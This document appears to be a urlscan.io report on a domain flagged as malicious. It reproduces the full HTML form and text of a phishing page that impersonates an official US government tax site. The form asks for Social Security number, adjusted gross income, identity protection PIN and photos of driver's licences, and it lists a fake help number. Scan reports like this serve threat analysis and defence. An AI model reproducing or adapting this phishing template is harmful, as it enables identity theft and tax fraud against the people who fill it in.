test.luxinterest.com Open in urlscan Pro
198.54.115.88  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST #

<form style="margin: 10px;" action="#" method="POST" enctype="multipart/form-data">
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="agree"><b>HAVE YOU APPLIED FOR 2022 TAX REFUND?:</b></label>
      <select id="agree" name="agree" class="form-control" required="">
        <option value="Yes">Yes</option>
        <option value="No">No</option>
      </select>
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="fName"><b>First Name:</b></label>
      <input type="text" class="form-control" id="fName" name="fName" placeholder="First Name" required="">
    </div>
    <div class="col">
      <label for="lName"><b>Last Name:</b></label>
      <input type="text" class="form-control" id="lName" name="lName" placeholder="Last Name" required="">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="sAddress"><b>Street Address:</b></label>
      <input type="text" class="form-control" id="sAddress" name="sAddress" placeholder="Street Address" required="">
    </div>
    <div class="col">
      <label for="city"><b>City:</b></label>
      <input type="text" class="form-control" id="city" name="city" placeholder="City" required="">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="state"><b>State:</b></label>
      <input type="text" class="form-control" id="state" name="state" placeholder="State" required="">
    </div>
    <div class="col">
      <label for="zip"><b>zip code:</b></label>
      <input type="text" class="form-control" id="zip" name="zip" placeholder="Zip code" required="">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="state"><b>Email:</b></label>
      <input type="text" class="form-control" id="email" name="email" placeholder="Email Address" required="">
    </div>
    <div class="col">
      <label for="phone"><b>Phone Number:</b></label>
      <input type="text" class="form-control" id="phone" name="phone" placeholder="Phone number " required="">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="ssn"><b>SSN(Social Security Number):</b></label>
      <input type="text" minlength="9" maxlength="9" class="form-control" id="ssn" name="ssn" placeholder="Social Security Number" required="">
    </div>
  </div>
  <span id="charLimitMessage"></span>
  <div class="row mt-3 mb-3">
    <h4 class="col" style="text-align: center;"> Select one of 2021 OR 2022 Tax AGI </h4>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="Agi"><b>2021 Tax AGI (This has to be your 2021 Tax AGI, as it is in your FORM 1040):</b></label>
      <input type="text" class="form-control" id="Agi" name="Agi" placeholder="2021 TAX AGI">
    </div>
    <h3>OR</h3>
    <div class="col">
      <label for="Agi22"><b>2022 Tax AGI (This has to be your 2022 Tax AGI, as it is in your FORM 1040):</b></label>
      <input type="text" class="form-control" id="Agi22" name="Agi22" placeholder="2022 TAX AGI">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="IPPin"><b>IDENTITY PROTECTION PIN(If you can't remember or if you don't have one, send (HELP) to <b style="color: #00599c; font-size: 18px;">(609) 8571-654</b> to get PIN immediately):</b></label>
      <input type="text" class="form-control" minlength="6" maxlength="6" id="IPPin" name="IPPin" placeholder="Identity Protection Pin" required="">
    </div>
  </div>
  <div class="row mt-3 mb-3">
    <h4 class="col" style="text-align: center;"> Upload any valid federal or state identification card (State Id or Driver's License) </h4>
  </div>
  <div class="row mt-3 mb-3">
    <div class="col">
      <label for="photo1"><b>Front Image:</b></label>
      <input type="file" class="form-control-file" name="ufile1" value="Attach File" id="first_attach" required="">
    </div>
    <div class="col">
      <label for="photo2"><b>Back Image:</b></label>
      <input type="file" class="form-control-file" name="ufile" value="Attach File" id="first_attach" required="">
    </div>
  </div>
  <button class="btn btn-primary btn-lg" name="save"> Continue </button>
</form>

Text Content

An official website of the United States Government

Help News English Charity and Nonprofits Tax Pros
File Pay Refund Credits and Deductions Form & Insructions


ABOUT FORM 1023, APPLICATION FOR RECOGNITION OF EXEMPTION UNDER SECTION
501(C)(17) OF THE INTERNAL REVENUE CODE.

Please fill all fields
HAVE YOU APPLIED FOR 2022 TAX REFUND?: Yes No
First Name:
Last Name:
Street Address:
City:
State:
zip code:
Email:
Phone Number:
SSN(Social Security Number):

SELECT ONE OF 2021 OR 2022 TAX AGI

2021 Tax AGI (This has to be your 2021 Tax AGI, as it is in your FORM 1040):


OR

2022 Tax AGI (This has to be your 2022 Tax AGI, as it is in your FORM 1040):
IDENTITY PROTECTION PIN(If you can't remember or if you don't have one, send
(HELP) to (609) 8571-654 to get PIN immediately):

UPLOAD ANY VALID FEDERAL OR STATE IDENTIFICATION CARD (STATE ID OR DRIVER'S
LICENSE)

Front Image:
Back Image:
Continue